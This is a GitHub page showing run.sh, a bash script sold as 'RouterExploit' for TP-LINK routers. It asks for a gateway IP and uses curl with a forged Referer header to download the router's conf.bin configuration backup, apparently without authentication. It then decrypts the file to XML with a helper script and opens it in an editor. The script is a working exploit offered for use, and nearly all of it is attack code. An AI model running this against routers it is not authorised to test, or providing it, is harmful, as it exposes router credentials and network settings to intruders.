-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathrun.sh
24 lines (21 loc) · 881 Bytes
/
run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
pip3 install pycryptodome
tput reset
echo
echo
echo
echo " +::::::::::::::::::::::::::::::::::::::::::::::::::+ "
echo " + RouterExploit + "
echo " +::::::::::::::::::::::::::::::::::::::::::::::::::+ "
echo " + Exploit TP-LINK Router Config File + "
echo " +::::::::::::::::::::::::::::::::::::::::::::::::::+ "
echo " + Creator : BL4CKH47H4CK3R + "
echo " +::::::::::::::::::::::::::::::::::::::::::::::::::+ "
echo
echo
read -p "[*] Enter Gateway IP (e.g. 192.168.0.1): " gateway
curl -s -k -X GET -H "Referer: http://$gateway/mainFrame.htm" http://$gateway/cgi/conf.bin > conf.bin
echo
python3 bin2xml.py conf.bin conf.xml
rm conf.bin
nano conf.xml